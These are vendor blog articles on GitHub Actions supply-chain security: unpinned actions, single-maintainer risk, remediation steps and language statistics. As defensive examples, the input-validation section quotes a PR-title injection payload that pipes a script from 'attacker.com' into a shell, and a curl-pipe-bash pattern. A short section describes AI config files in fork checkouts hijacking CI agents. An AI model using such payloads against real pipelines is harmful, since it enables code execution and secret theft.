Total PRs submitted - running count across all tiers
Acceptance/merge rate - what percentage of PRs are merged
Average time-to-merge - how quickly maintainers respond
Most responsive communities - which language ecosystems merge fastest
Before/after - vulnerability rates for repos that merged vs. didn’t

The data will tell us something about the open-source ecosystem’s appetite for CI/CD security. Are maintainers aware of these risks? Are they receptive to automated fixes? Do certain communities move faster than others?

We’ll publish follow-up analyses as the data accumulates. The scan was the starting point. The PRs are the intervention. The response is the next dataset.

Run It Yourself

The same pipeline powering our 50K-repo campaign is available to anyone:

# Install
brew install Vigilant-LLC/tap/runner-guard

# Scan
runner-guard scan .

# Fix
runner-guard fix .

# Review the diff and commit
git diff
git add .github/workflows/
git commit -m "Pin GitHub Actions to SHA hashes"

For organizations, Runner Guard integrates into CI/CD as a GitHub Action itself - scanning your workflows on every change to prevent new vulnerabilities from being introduced. The Fix It guide covers the full setup.

Start with a scan. Stay with continuous monitoring.

Runner Guard gives you the one-time scan - free, open-source, 14 security rules. For continuous CI/CD pipeline monitoring across your entire vendor chain, ThreatCert runs every 60 minutes, correlating CI/CD findings with 6 other intelligence domains.

brew install Vigilant-LLC/tap/runner-guard
runner-guard scan github.com/owner/repo

Install Runner Guard See ThreatCert Learn More About Vigilant

The Software Supply Chain Crisis — 74.5% of Findings Are Unpinned Actions

sales@vigilantnow.com (Chris Nyhuis) — Tue, 24 Mar 2026 18:14:52 GMT

Chris Nyhuis

CEO, Vigilant

10 min read

Part of a 9-part research series on CI/CD pipeline security. See all articles below.

Three-quarters of every CI/CD security finding in GitHub’s top 50K repos comes down to a single mistake: trusting a version tag that anyone with push access can silently move.

The Setup

When we scanned 50,012 of GitHub’s most-starred repositories for CI/CD vulnerabilities, one rule dominated everything else. RGS-007 - unpinned third-party actions - accounted for 143,616 of 192,776 total findings. That’s 74.5%. Not a plurality. A supermajority.

The finding is deceptively simple. A GitHub Actions workflow references a third-party action using a mutable version tag - uses: actions/checkout@v4 - instead of pinning to an immutable SHA hash - uses: actions/checkout@b4ffde65f46.... The version tag @v4 is a Git tag. Any maintainer with push access to that repository can move it to point at different code. The SHA hash is a specific commit. It cannot be changed.

This distinction - mutable versus immutable - is the fault line that the entire CI/CD supply chain runs across. 19,005 repositories in our dataset are on the wrong side of it.

What Mutable Tags Actually Mean

When you write uses: docker/login-action@v3 in a workflow, you’re making a trust decision. You’re saying: “I trust that whoever controls the v3 tag on the docker/login-action repository will only ever point it at code I’d approve.” That trust extends indefinitely, through every future modification of that tag, without any notification or approval process on your end.

A SHA pin - uses: docker/login-action@74a8a23... - says something different. It says: “Run this exact code, this exact commit, nothing else.” If the action maintainer pushes a new version, your workflow keeps running the code you reviewed. You upgrade deliberately, not automatically.

The difference matters because of how GitHub Actions executes workflows. When a CI pipeline triggers, GitHub resolves the action reference at runtime. A mutable tag resolves to whatever commit it points to right now. If an attacker compromises the maintainer’s account and moves the tag to a malicious commit at 2 AM, every workflow that triggers after that moment runs the attacker’s code. No pull request. No code review. No notification.

This is exactly what happened with tj-actions/changed-files in March 2025. A maintainer account was compromised, the tag was moved to a malicious commit, and every repository using the action ran the compromised code on their next CI trigger. The attack extracted CI secrets - GITHUB_TOKEN, AWS credentials, NPM tokens - from every affected pipeline.

The Most Commonly Unpinned Actions

Here’s where 19,005 repositories are placing their trust:

Action	Repos	Findings
docker/login-action@v3	1,848	5,099
docker/setup-buildx-action@v3	1,845	4,258
softprops/action-gh-release@v2	1,405	2,065
ruby/setup-ruby@v1	1,275	2,793
docker/setup-qemu-action@v3	1,181	2,038
shivammathur/setup-php@v2	1,147	2,916
docker/build-push-action@v6	1,090	2,665
dtolnay/rust-toolchain@stable	989	3,805
codecov/codecov-action@v5	947	1,447
docker/metadata-action@v5	900	1,734

Docker actions dominate the top of the list - five of the top ten most commonly unpinned actions belong to a single organization. We explore this concentration risk in depth in The Docker Chokepoint.

But the pattern below Docker is what reveals the structural problem: action-gh-release, setup-ruby, setup-php, codecov-action, rust-toolchain. Several of these are maintained by single GitHub accounts - one person standing between the open-source ecosystem and a supply chain compromise.

The Trust Paradox in the Supply Chain

The organizations developers trust most aren’t immune to this problem - they’re often the worst offenders. In our pillar research, we found that a major Java framework organization has a 92.9% vulnerability rate - 26 of 28 repos running unpinned actions. A major OSS foundation sits at 65.1% across 172 repos. A major social media company at 66.2%.

This isn’t negligence. It’s a function of scale. Larger organizations run more complex CI/CD - multi-stage builds, matrix testing across platforms, release automation with credential access, deployment pipelines spanning multiple cloud providers. Each additional build step adds action dependencies. Each dependency is another mutable trust decision.

The counterintuitive result: organizations with the resources to do security well have the most exposed CI/CD pipelines precisely because they have the most complex CI/CD pipelines. The brand name on a GitHub organization isn’t a security guarantee for the actions it produces - or consumes.

The Single-Maintainer Problem

Beyond Docker (an organization with corporate security practices), the biggest supply chain risks in our dataset trace to actions maintained by a single GitHub account. One compromised account equals hundreds of compromised repositories:

Action	Repos Affected	Versions	Role
action-gh-release	1,405	14	The dominant release publishing action
setup-php	1,147	8	The PHP setup action
rust-toolchain	989	44	The dominant Rust CI dependency
create-pull-request	353	59	Popular PR automation action
rust-cache	198	8	Rust build cache action
release-action	136	8	Alternative release publishing

To be clear: the maintainers behind these actions have built critical infrastructure that the open-source ecosystem depends on daily. That work is often unpaid, under-recognized, and carried out over years of sustained effort. The problem isn’t the people - it’s the structural reality that thousands of CI/CD pipelines depend on a single account with no organizational redundancy, no succession plan, and no security budget. The ecosystem built a single point of failure around their generosity.

action-gh-release is the most popular release publishing action on GitHub. 1,405 repositories in our dataset use it with mutable tags - all maintained by a single account. A single compromised credential would inject malicious code into the release pipelines of over a thousand of the world’s most popular projects. The release pipeline is where binaries get built, signed, and published - it’s the highest-value target in the entire CI/CD chain.

rust-toolchain is effectively Rust’s CI infrastructure. 989 repos depend on it across 44 unique mutable references - @stable, @master, @nightly, @v1, plus dozens of specific version strings. 201 repos pin to @master, meaning every single push to the repository immediately executes new, unreviewed code in 201 CI pipelines. Combined with rust-cache at 198 repos, two single-maintainer actions control the CI pipelines of most Rust open-source projects.

create-pull-request spans 59 unique action references across 353 repos, with version sprawl from v3 through v8. It appears in 203 repos across 6 major versions - all unpinned, all mutable.

These aren’t hypothetical risks. The tj-actions/changed-files compromise in March 2025 was a single-maintainer action. The attack vector was the maintainer’s account, not a software vulnerability. The action’s code was fine. The credentials weren’t.

Version Sprawl - The Hidden Multiplier

The attack surface for a single action isn’t one version tag. It’s dozens.

Action	Unique Refs	Top Versions	Worst Ref
dtolnay/rust-toolchain	44	@stable (481), @master (201), @nightly (115)	@master - 201 repos on HEAD
codecov/codecov-action	35	@v5 (500), @v4 (204), @v3 (138)	35 separate mutable trust points
docker/build-push-action	28	@v6 (610), @v5 (291), @v4 (128)	@master - 3 repos + EOL versions

An attacker doesn’t need to compromise the latest version. Any mutable ref is a valid target. Old versions are less monitored but still actively used - 85 repos still run codecov/codecov-action@v1. And refs that look specific, like @v5.5.2, create an illusion of pinning. They’re still mutable tags, not SHAs. The version number is a label, not a guarantee.

No maintainer is tracking or auditing all 28 to 44 mutable refs to their action. A compromised old tag could go unnoticed for months.

The @master/@main Problem

Version tags like @v3 can theoretically be moved, but in practice rarely are outside of an attack. Branch refs like @master and @main move with literally every commit. They are the most dangerous form of unpinned action reference - zero stability guarantee, maximum exposure.

Action	Repos on @master/@main	Risk
dtolnay/rust-toolchain	201	Rust ecosystem - changes with every push, single person
ad-m/github-push-action	49	Pushes code - direct write access to downstream repos
google/oss-fuzz (run_fuzzers)	44	Security fuzzing infrastructure
google/oss-fuzz (build_fuzzers)	43	Security fuzzing infrastructure
jlumbroso/free-disk-space	41	Runs as root to free disk space
coverallsapp/github-action	40	Code coverage - accesses repo content
aquasecurity/trivy-action	19	Vulnerability scanner pinned to master

ad-m/github-push-action@master deserves special attention. 49 repos use it to push code directly to their own repository. This action has write access by design - it exists to modify your repo. Pinned to master. Every commit to that action’s repository immediately executes in 49 of GitHub’s top projects with full write access to those projects’ code.

Security Scanners Running Unpinned

The most ironic finding in the dataset:

Action	Repos	Pinned To
google/oss-fuzz	44	`@master`
coverallsapp/github-action	40	`@master`
aquasecurity/trivy-action	19	`@master`
trufflesecurity/trufflehog	8	`@main`

Trivy - Aqua Security’s vulnerability scanner - and TruffleHog - a secret scanner - are pinned to @master and @main respectively. Tools designed to detect security issues, deployed in the most insecure way possible. A compromise of either repository would inject malicious code into the security scanning step of dozens of top repos. The scanner becomes the attack vector.

The Recursive Supply Chain

We identified 187 repos in our dataset that are themselves GitHub Actions - installable components consumed by other repositories’ workflows. 145 of them - 77.5% - have their own CI/CD vulnerabilities.

This creates a recursive supply chain problem. You might SHA-pin the action you depend on, but if that action’s own CI/CD pipeline uses unpinned dependencies, the chain of trust has no foundation. Compromising one of these foundational tools doesn’t just affect that repo - it affects every Action built and tested with it, and every repo that uses those Actions.

It’s turtles all the way down. The full chain attack anatomy shows how each link in this recursive chain becomes an entry point for exploitation.

New-Gen Tooling - Already Unpinned

The newest generation of developer tooling is repeating every mistake:

Action	Total Repos	Growth Signal
astral-sh/setup-uv	276	Python’s fastest-growing package manager
oven-sh/setup-bun	195	Bun runtime setup
anthropics/claude-code-action	175	AI code review - nearly doubled during our scan

astral-sh/setup-uv has accumulated 276 unpinned references across 12 different version tags in the short time since uv exploded in the Python ecosystem. oven-sh/setup-bun is at 195 repos with zero SHA pinning. The ecosystem hasn’t learned from Docker, codecov, or dtolnay - every new tool that gains traction immediately becomes an unpinned supply chain dependency.

anthropics/claude-code-action is particularly notable - it nearly doubled from 77 repos at our 40% scan mark to 175 at completion. AI tools in CI/CD are being adopted faster than security awareness can follow. The implications of AI agents in CI/CD pipelines - and the novel attack surfaces they create - are covered in AI Agents as Force Multipliers.

The Zombie Supply Chain

Not every repo can be fixed. 809 archived repositories in our dataset have vulnerabilities that will never be patched - nobody’s home to accept a pull request. But they still get forked, cloned, and referenced. LibreSpark/LibreTV has 26,944 forks, each carrying 30 vulnerable workflow findings. solana-labs/solana is archived with 4 critical findings and 5,557 forks.

26,944 forks x 30 findings + 5,557 forks x 4 findings = 830,548 inherited vulnerabilities from just two archived repositories that will never receive a patch.

Beyond archived repos, 376 repositories haven’t been pushed to in over a year. 129 haven’t seen activity in two years. These are zombie pipelines - abandoned infrastructure that the ecosystem still trusts, with supply chain dependencies that will never be updated. The long tail of this problem is explored in What’s Next - Fixing 50K Repos.

Why Dependabot Isn’t Solving This

GitHub ships Dependabot with built-in support for SHA pinning GitHub Actions. Adding a few lines to .github/dependabot.yml configures automatic SHA pin updates. The tooling exists. The adoption is near zero.

The reasons are structural, not technical. SHA-pinned action references are ugly - a 40-character hex string instead of a clean @v4. Developers prioritize readability. GitHub’s own documentation examples use version tags, not SHA pins. The starter-workflows repository - the templates new users clone - uses version tags. The ecosystem teaches the insecure pattern by default.

Runner Guard’s autofix engine resolves this mechanically: it replaces every mutable tag with its current SHA, adds a version comment for readability, and outputs a workflow file that looks almost identical but is now immutable. The Fix It guide walks through the complete process.

What You Can Do About It

SHA-pin every third-party action. Run runner-guard scan . to find every unpinned reference, then runner-guard fix . to resolve them to SHA pins automatically.
Configure Dependabot for GitHub Actions. Add github-actions to your .github/dependabot.yml ecosystem list. Dependabot will submit PRs when new versions are available, keeping your SHA pins current without manual tracking.
Audit your single-maintainer dependencies. If your CI/CD pipeline depends on an action maintained by a single person, treat that as a risk factor - not a deal-breaker, but something that belongs in your threat model.
Eliminate @master/@main references immediately. These are the highest-risk action references in the ecosystem. At minimum, pin to a version tag. Ideally, pin to a SHA.
Watch for version sprawl. If your organization uses the same action across multiple repos with different version tags, consolidate. Each unique mutable ref is a separate trust decision that nobody is tracking.

The supply chain crisis isn’t a technology problem. The fix exists and takes minutes. It’s an awareness problem - 143,616 findings across GitHub’s top 50K repos, and the solution is a command that runs in under a second.

But here’s the uncomfortable truth: a one-time fix isn’t enough. You SHA-pin today, and tomorrow a developer adds a new action with a mutable tag. The supply chain degrades continuously. Point-in-time scanning catches the current state. Continuous monitoring catches the drift. The supply chain crisis will keep recurring until the ecosystem shifts from reactive scanning to continuous pipeline security - treating CI/CD configurations with the same rigor we apply to production infrastructure.

Scan your repos today. Runner Guard is Vigilant’s free, open-source CI/CD security scanner - the same tool that powered this research. Install it in under a minute:

brew install Vigilant-LLC/tap/runner-guard
runner-guard scan github.com/owner/repo

Install Runner Guard Learn More About Vigilant

14 security rules. Zero configuration. One command.

Chris Nyhuis

CEO, Vigilant

CEO of Vigilant, a global cybersecurity firm he has led for 16 years. 30+ years of experience across offensive security, SCADA/IoT, and critical infrastructure defense. Holds multiple patents including Forensically Validated Detection Systems and Secure Protocol Translation. Former instructor at a US intelligence school. Certified human trafficking investigator and OSINT practitioner. Vigilant dedicates 25% of profits to combating human trafficking, child exploitation, and supporting orphan care worldwide.

LinkedIn · X / Twitter · Instagram

Subscribe to get Vigilant's latest security research delivered to your inbox.

Fix It — SHA Pinning, Least Privilege, and the 5-Minute Security Upgrade

sales@vigilantnow.com (Chris Nyhuis) — Tue, 24 Mar 2026 18:11:31 GMT

Chris Nyhuis

CEO, Vigilant

14 min read

Part of a 9-part research series on CI/CD pipeline security. See all articles below.

246,496 findings in our dataset are auto-fixable. The vast majority can be resolved in under five minutes. The fix isn’t hard. The problem is nobody’s doing it.

The Setup

Every article in this series - from the pillar findings to the supply chain crisis, the Docker chokepoint, the chain attack anatomy, the AI force multiplier, and the language risk matrix - describes a problem that has a fix. Most of those fixes are mechanical. They don’t require architectural changes, security expertise, or budget. They require running a command and merging a PR.

This article is the solutions hub. For every finding class Vigilant’s Runner Guard detects, here’s what it means and exactly how to fix it.

Having spent over three decades in cybersecurity - including years of red team engagements where we weaponized these exact CI/CD attack chains against banks, government agencies, and critical infrastructure - the most frustrating part of this research isn’t the vulnerability count. It’s how simple the fixes are. The gap between the scale of the problem (192,776 findings across 20,265 repos) and the effort required to fix it (minutes per repo, often automated) is the single most important data point in this entire series.

The following fixes are ordered from highest-impact to most nuanced. If you do nothing else, do the first two.

The 5-Minute Fixes

SHA Pinning (RGS-007)

The problem: 143,616 findings. 74.5% of everything. Your workflow references a third-party action using a mutable version tag - uses: actions/checkout@v4 - that can be silently moved to point at different code.

The fix:

Replace the mutable tag with the commit SHA of the version you’re currently using:

# Before - vulnerable
- uses: actions/checkout@v4

# After - secure
- uses: actions/checkout@b4ffde65f46306985a776297c42c35f57d091244 # v4.2.2

The version comment after the # preserves readability. The SHA is immutable - it cannot be moved or modified. If the action maintainer pushes a new version, your workflow keeps running the exact code you reviewed.

Automated fix: Runner Guard does this automatically:

runner-guard fix .

This resolves every mutable action reference in your workflow files to its current SHA, adding version comments. Review the diff and commit.

Keeping pins current: SHA pins need maintenance - when new versions are released, you should update. Add GitHub Actions to your Dependabot configuration:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

Dependabot will submit PRs when new versions are available, keeping your SHA pins current without manual tracking. This is the single most impactful security configuration you can add to a repo.

Permission Scoping (RGS-008)

The problem: 11,658 findings across 7,236 repos. Workflows grant write-all or don’t specify permissions (which defaults to write access for most token scopes). A compromised action with write permissions can push code to your repository, create releases, and modify issues and PRs.

The fix:

Add explicit permission scoping to each job:

# Before - vulnerable (implicit write-all)
jobs:
  build:
    runs-on: ubuntu-latest

# After - secure (explicit minimum permissions)
jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read

For workflows that need write access to specific resources, grant only what’s needed:

permissions:
  contents: read
  pull-requests: write  # Only if the job needs to comment on PRs

The principle: Start with permissions: read-all at the workflow level and add specific write permissions per job as needed. Never use permissions: write-all unless you can justify every scope.

Input Validation (RGS-001, RGS-002, RGS-003)

The problem: 14,014 combined findings. Untrusted input from PR titles, issue bodies, branch names, and commit messages flows directly into shell commands via expression interpolation. An attacker submitting a PR with a title like "; curl attacker.com/steal | sh; echo " gets arbitrary code execution in your CI runner.

The fix:

Never pass GitHub context variables directly into run: shell commands:

# Before - vulnerable (expression injection)
- run: echo "PR title: $"

# After - secure (environment variable)
- run: echo "PR title: $PR_TITLE"
  env:
    PR_TITLE: $

Environment variables are treated as data, not executable code. Shell interpolation can’t escape the variable boundary. This is the same principle as parameterized SQL queries - the fix for SQL injection applies to shell injection.

Attacker-controlled GitHub context variables to watch: - github.event.pull_request.title - github.event.pull_request.body - github.event.issue.title - github.event.issue.body - github.event.comment.body - github.head_ref (branch name) - github.event.commits[*].message

Any expression that includes attacker-controlled data must go through an environment variable, never directly into a run: block.

The Deeper Fixes

Trigger Safety (RGS-004, RGS-005, RGS-009)

The problem: 9,987 combined findings. Workflows use triggers that give untrusted input elevated access.

RGS-004 - Comment triggers without auth checks. A workflow triggered by issue_comment runs code in response to any comment - including from accounts with no relationship to the repo. Without an authorization check, anyone on GitHub can trigger your CI.

Fix: Add an authorization check:

on:
  issue_comment:
    types: [created]

jobs:
  deploy:
    if: >
      github.event.comment.body == '/deploy' &&
      github.event.comment.author_association == 'MEMBER'
    runs-on: ubuntu-latest

RGS-005 - Excessive permissions on untrusted triggers. Workflows triggered by pull_request_target, issue_comment, or workflow_run have access to secrets and write permissions - but process input from potentially untrusted sources.

Fix: Use the principle of least privilege. If a workflow processes untrusted input, it should have read-only permissions. If it needs write access (e.g., to post a comment), split it into two jobs: one that processes the untrusted input with read-only access, and one that performs the write action using the first job’s validated output.

RGS-009 - Unsafe checkout of fork code. Workflows using pull_request_target that check out the PR head (ref: $) execute untrusted fork code with full secrets access.

Fix: Switch to pull_request trigger (no secrets access) unless you specifically need secrets. If you must use pull_request_target:

# Safe pattern - checkout the base branch, not the PR head
- uses: actions/checkout@b4ffde65f46... # v4
  with:
    ref: $

Network Safety (RGS-006, RGS-012)

The problem: 5,361 combined findings. Workflows download and execute remote code (curl | sh) or make network calls in privileged contexts that could exfiltrate data.

RGS-006 fix: Replace curl-pipe-bash with explicit download-then-verify:

# Before - vulnerable
- run: curl -sSL https://example.com/install.sh | bash

# After - secure
- run: |
    curl -sSL -o install.sh https://example.com/install.sh
    sha256sum -c <<< "expected_hash  install.sh"
    bash install.sh

Better yet, replace remote scripts with action-based alternatives that can be SHA-pinned.

RGS-012 fix: Audit network calls in privileged workflows. Any curl, wget, or network operation in a workflow with secrets access should be reviewed for exfiltration risk. If the workflow doesn’t need network access, consider running it in a restricted environment.

OIDC Over Secrets for Cloud Auth

Beyond the specific RGS rules, there’s a broader pattern worth addressing: how your CI/CD authenticates with cloud providers.

The traditional approach stores long-lived credentials (AWS access keys, GCP service account keys, Azure connection strings) as GitHub Actions secrets. These credentials exist indefinitely, can be exfiltrated by any compromised action with secrets access, and create a permanent lateral movement path from CI to cloud infrastructure.

The better approach uses GitHub’s OIDC (OpenID Connect) provider for cloud authentication. OIDC generates short-lived, scoped tokens for each workflow run - no stored credentials to steal.

# Before - stored credentials (vulnerable to exfiltration)
- uses: aws-actions/configure-aws-credentials@v4
  with:
    aws-access-key-id: $
    aws-secret-access-key: $

# After - OIDC (short-lived, nothing to steal)
permissions:
  id-token: write
  contents: read
jobs:
  deploy:
    - uses: aws-actions/configure-aws-credentials@v4
      with:
        role-to-assume: arn:aws:iam::123456789:role/github-actions
        aws-region: us-east-1

OIDC is supported by AWS, GCP, Azure, and HashiCorp Vault. If your CI/CD accesses cloud resources, switching from stored credentials to OIDC is one of the highest-impact security improvements you can make - and it eliminates the most dangerous lateral movement path in the chain attack model.

Debug Logging (RGS-015)

The problem: 302 findings. Workflows with debug logging enabled (ACTIONS_STEP_DEBUG: true or ACTIONS_RUNNER_DEBUG: true) expose sensitive information in CI logs - environment variables, token values, internal paths, and API responses that are normally masked.

The fix: Remove debug logging from production workflows. If you need debug output temporarily, enable it through GitHub’s repository settings (Settings > Secrets and Variables > Variables) rather than hardcoding it in the workflow file, and disable it after debugging.

AI Config Safety (RGS-010, RGS-011)

The problem: 5 findings - small in number but novel in category. AI configuration files (CLAUDE.md, .cursorrules, copilot-instructions.md) in fork checkouts can hijack AI agents running in CI.

Fix: If using AI-powered PR review actions: 1. Run them on pull_request (sandboxed, no secrets) rather than pull_request_target 2. If pull_request_target is required, do NOT check out the PR head 3. Add explicit authorization checks before running AI review on fork PRs 4. Treat AI config files from untrusted sources as executable code - they control the AI’s behavior

The Automation Story

Manual remediation doesn’t scale. 50K repos times 14 rules times multiple workflow files - the math doesn’t work.

Runner Guard’s automated pipeline:

Scan: runner-guard scan . identifies every finding with rule ID, file, line number, and severity
Fix: runner-guard fix . resolves fixable findings automatically (currently SHA-pinning for RGS-007)
PR: Generate a pull request with the changes, including explanations of what was found and why the fix matters

This is the pipeline we’re using for our 50K repo remediation campaign - scanning at scale, generating fixes, submitting PRs. The same pipeline works for individual repos and for organizations with hundreds of repositories.

The Single-Maintainer Mitigation

Several articles in this series highlight the single-maintainer problem: critical CI infrastructure depending on one person’s GitHub account. SHA pinning is the primary mitigation, but additional steps help:

Fork and maintain internally. For critical actions (dtolnay/rust-toolchain if you’re a Rust shop, shivammathur/setup-php if you’re PHP), consider forking and maintaining your own copy. You control the tags.
Monitor maintainer activity. If a single-maintainer action goes dormant - no commits in months, issues piling up - that’s a risk signal. The maintainer may have lost interest, or worse, their account may be vulnerable to takeover.
Contribute to alternatives. The single-maintainer problem is ultimately a community problem. Contributing to multi-maintainer alternatives (or adding maintainers to existing projects) reduces the concentration.

Organization-Wide Rollout

For organizations with dozens or hundreds of repos, the fix-per-repo approach doesn’t scale. Here’s the org-level playbook:

Scan everything. Run runner-guard scan across all repos in your organization. Use GitHub’s API or a simple shell loop to enumerate repos and scan each one. The JSON output format (--format json) makes aggregation straightforward.
Prioritize by risk. Sort repos by severity and compound vulnerability count. Repos with critical findings and compound patterns (RGS-007 + RGS-008) are the highest priority - they represent complete attack chains.
Batch autofix. Run runner-guard fix . across all repos to generate SHA-pinned workflow files. Review the diffs in batch and submit PRs.
Standardize permissions. Create a GitHub Actions workflow template for your organization with explicit permissions: blocks. Require all new repos to use the template.
Configure Dependabot org-wide. Use GitHub’s organization-level Dependabot configuration to enable GitHub Actions dependency updates across all repos simultaneously.
Baseline and track. Establish a baseline finding count and track it over time. CI/CD security degrades continuously - developers add new actions, change triggers, expand permissions. Without tracking, you’ll drift back to the starting state within months.

The Dependabot Gap

GitHub provides Dependabot with built-in support for SHA-pinning GitHub Actions. The configuration is three lines. The tooling is free. The adoption is near zero.

This is the most frustrating gap in the dataset. GitHub has solved the tooling problem. They haven’t solved the awareness problem. Every new repo created from GitHub’s starter templates starts with unpinned actions. The Dependabot GitHub Actions ecosystem isn’t configured by default. The documentation examples use version tags.

Until the defaults change, the fix lives with individual maintainers and organizations. The good news: the fix is fast, automated, and free.

Consuming Open Source Safely - For Organizations and Individuals

The fixes above address what you build. This section addresses what you consume - both the open-source code you pull directly and the open-source code embedded in the commercial products you purchase.

The Liability Reality

Every open-source license in our dataset - MIT, Apache, GPL, BSD, AGPL - contains a variation of the same clause: the software is provided “as is,” without warranty, and the authors are not liable for any damages. When you reference softprops/action-gh-release@v2 in your workflow, you’re running code from a single-maintainer GitHub account with access to your secrets, under a license that explicitly says no one is responsible if something goes wrong.

This isn’t a flaw in open source. It’s the model. Maintainers can’t guarantee security for every context. But the implication is clear: you are the last line of defense. Not the maintainer. Not GitHub. Not the license. You.

Direct Consumption - When You Use Open Source

If your CI/CD pipelines reference third-party GitHub Actions, you’re a direct consumer:

Always review code before trusting it. SHA pinning forces a deliberate review - you choose a specific commit to trust. Mutable tags skip the review entirely and trust whatever happens to be there when your pipeline runs.
Establish an action allow-list. Maintain an approved list of GitHub Actions for your organization. New actions require a security review before being added. This prevents individual developers from introducing unvetted supply chain dependencies.
Monitor maintainer health. A single-maintainer action that hasn’t been updated in six months is a different risk from an org-maintained action with active contributors. Watch for: dormant maintainers, account ownership changes, sudden spikes in commit activity (potential compromise), and expired domain registrations on maintainer email accounts.
Fork critical dependencies. For actions your pipeline can’t function without - your setup action, your deployment action, your release action - consider forking and maintaining internally. You control the tags. You control the code. The upstream maintainer’s account security no longer determines your pipeline’s security.
Run Runner Guard in CI. Add Runner Guard as a step in your CI pipeline that scans your workflow files on every change. New vulnerabilities are caught at the PR stage, before they merge. Prevention beats detection.
Treat workflow files as security-critical code. Changes to .github/workflows/ should require the same review rigor as changes to authentication logic or payment processing. A CODEOWNERS file that requires security team approval for workflow modifications is a straightforward control.

Indirect Consumption - When Your Vendors Use Open Source

Every commercial product you purchase was built with open source. The vendor’s CI/CD pipeline almost certainly runs on GitHub Actions, GitLab CI, or a similar platform. The vendor’s build dependencies include the same unpinned actions and single-maintainer chokepoints we documented in this research. Your vendor’s supply chain risk is your supply chain risk.

Questions to ask your technology vendors:

How do you secure your CI/CD pipeline? If the answer doesn’t include SHA pinning, permission scoping, and regular pipeline audits, their build system may be vulnerable to the same attack chains we documented across 20,265 repos.
Do you use open-source GitHub Actions? Which ones? A vendor running docker/login-action@v3 in their build pipeline inherits Docker’s concentration risk. A vendor using single-maintainer actions inherits that maintainer’s account security as a dependency.
How do you validate your build artifacts? Software supply chain integrity doesn’t end at source code. Artifact attestation, reproducible builds, and SLSA compliance provide evidence that the binary you received was built from the source code you reviewed.
What happens when a CI/CD dependency is compromised? The tj-actions/changed-files incident in March 2025 affected thousands of repos. Your vendor’s incident response plan should account for supply chain compromises in their build tooling - not just vulnerabilities in their application code.
Do you scan your CI/CD configurations with a tool like Runner Guard? If not, the vendor may not know about vulnerabilities in their own build pipeline. Point them to this research to understand the scope of the problem across 50K repos.

The organizations with the most mature security programs extend their vendor risk assessments beyond application security (penetration tests, SOC 2 reports, code audits) to include CI/CD pipeline security. A vendor with a clean penetration test report and an insecure build pipeline has a gap that traditional assessments don’t cover.

The Shared Responsibility Model

Open-source security follows a shared responsibility model, whether anyone has named it that or not:

Maintainers are responsible for the code they write and the releases they publish
Platform providers (GitHub, GitLab) are responsible for the infrastructure the code runs on
Consumers - you - are responsible for how you integrate, configure, and trust that code in your environment

The gap in this model is the CI/CD pipeline. Maintainers write the code. GitHub provides the runners. But nobody is systematically reviewing how the code gets from repository to runner to production. That’s the gap our 50K-repo scan quantified - and it’s the gap you need to close in your own pipelines and your vendors’ pipelines.

What You Can Do About It - The Priority List

If you have limited time, fix in this order:

SHA-pin all actions (runner-guard fix .) - eliminates the supply chain entry point
Scope permissions - add permissions: blocks with minimum required access
Fix expression injection - move attacker-controlled variables to environment variables
Add Dependabot for Actions - keeps SHA pins current automatically
Audit triggers - switch from pull_request_target to pull_request where possible

The first two items take under five minutes for most repos. Items 3-5 may require workflow logic changes, but the fixes are well-documented and straightforward.

246,496 findings in our dataset are auto-fixable today. The scanner is free. The fixes are simple. The question isn’t whether to fix your CI/CD - it’s why you haven’t already.

But fixing once isn’t enough. Developers add new workflow steps, new action dependencies, and new triggers every week. A repo that’s clean today can have five new findings by next month. Point-in-time scanning catches the current state. Continuous monitoring catches the drift. The goal isn’t just fixing your pipelines - it’s keeping them fixed.

Start with a scan. Stay with continuous monitoring.

brew install Vigilant-LLC/tap/runner-guard
runner-guard scan github.com/owner/repo

Install Runner Guard See ThreatCert Learn More About Vigilant

The Language Risk Matrix — Why Rust Repos Are the Most Vulnerable

sales@vigilantnow.com (Chris Nyhuis) — Tue, 24 Mar 2026 18:05:51 GMT

Chris Nyhuis

CEO, Vigilant

10 min read

Part of a 9-part research series on CI/CD pipeline security. See all articles below.

The language famous for eliminating memory bugs at compile time has the most insecure CI/CD pipelines in our dataset. Your Rust code is memory-safe. Your Rust CI is not.

The Setup

When we scanned GitHub’s top 50K repos for CI/CD vulnerabilities, we expected the vulnerability distribution to be roughly uniform across programming languages. It isn’t. The spread from top to bottom is over 3x - from Rust at 77.9% to JavaScript at 23.6%. Language choice doesn’t cause CI/CD vulnerabilities, but it strongly correlates with them. Understanding why tells us something fundamental about where supply chain risk concentrates.

The Full Matrix

Language	Repos	Vuln Repos	Vuln Rate
Rust	2,903	2,261	77.9%
Elixir	278	187	67.3%
TypeScript	4,338	2,675	61.7%
Haskell	221	121	54.8%
PHP	2,508	1,373	54.7%
Scala	380	207	54.5%
Go	3,878	2,088	53.8%
Dart	858	453	52.8%
Ruby	1,954	1,000	51.2%
Kotlin	1,716	832	48.5%
C++	3,561	1,471	41.3%
Python	4,810	1,900	39.5%
C#	2,759	994	36.0%
C	3,147	1,009	32.1%
JavaScript	4,460	1,064	23.6%

This data comes from 2,903 Rust repos and 4,460 JavaScript repos - large enough samples that the difference isn’t noise. The Rust sample tripled from our initial 1,042-repo checkpoint to the full 2,903 across the 50K scan, and Rust held its position at number one. The pattern is real.

The Rust Paradox

Rust’s headline is designed to provoke - and it should. The language that prevents use-after-free, buffer overflows, and data races at compile time has the worst CI/CD security posture in our dataset. Nearly four out of five Rust repos have at least one vulnerable workflow.

The paradox resolves when you look at what Rust’s build toolchain requires:

Cross-compilation complexity. Rust’s value proposition includes zero-cost abstractions across platforms - but cross-compiling for Linux, macOS, Windows, ARM, and WASM requires multi-step CI configurations with platform-specific actions. Each target in a build matrix adds action dependencies.

Toolchain management. Most Rust repos depend on dtolnay/rust-toolchain for compiler setup. As we detail in The Software Supply Chain Crisis, rust-toolchain is a single-maintainer action with 989 unpinned repos and 44 unique mutable refs - including 201 repos pinned to @master. This single dependency is the largest contributor to Rust’s vulnerability rate.

Cache management. Rust builds are slow. To compensate, most repos use Swatinem/rust-cache - another single-maintainer action - to cache compiled artifacts. That’s a second single-person dependency in nearly every Rust CI pipeline.

Release pipeline complexity. Rust projects typically build and publish binaries for multiple platforms, using actions like cargo-dist, cargo-release, and various cross-compilation tools. Each one adds to the dependency chain.

The result: a typical Rust CI workflow has 3-5 third-party action dependencies before it even runs cargo test. Each dependency is another supply chain trust decision that nobody is SHA-pinning.

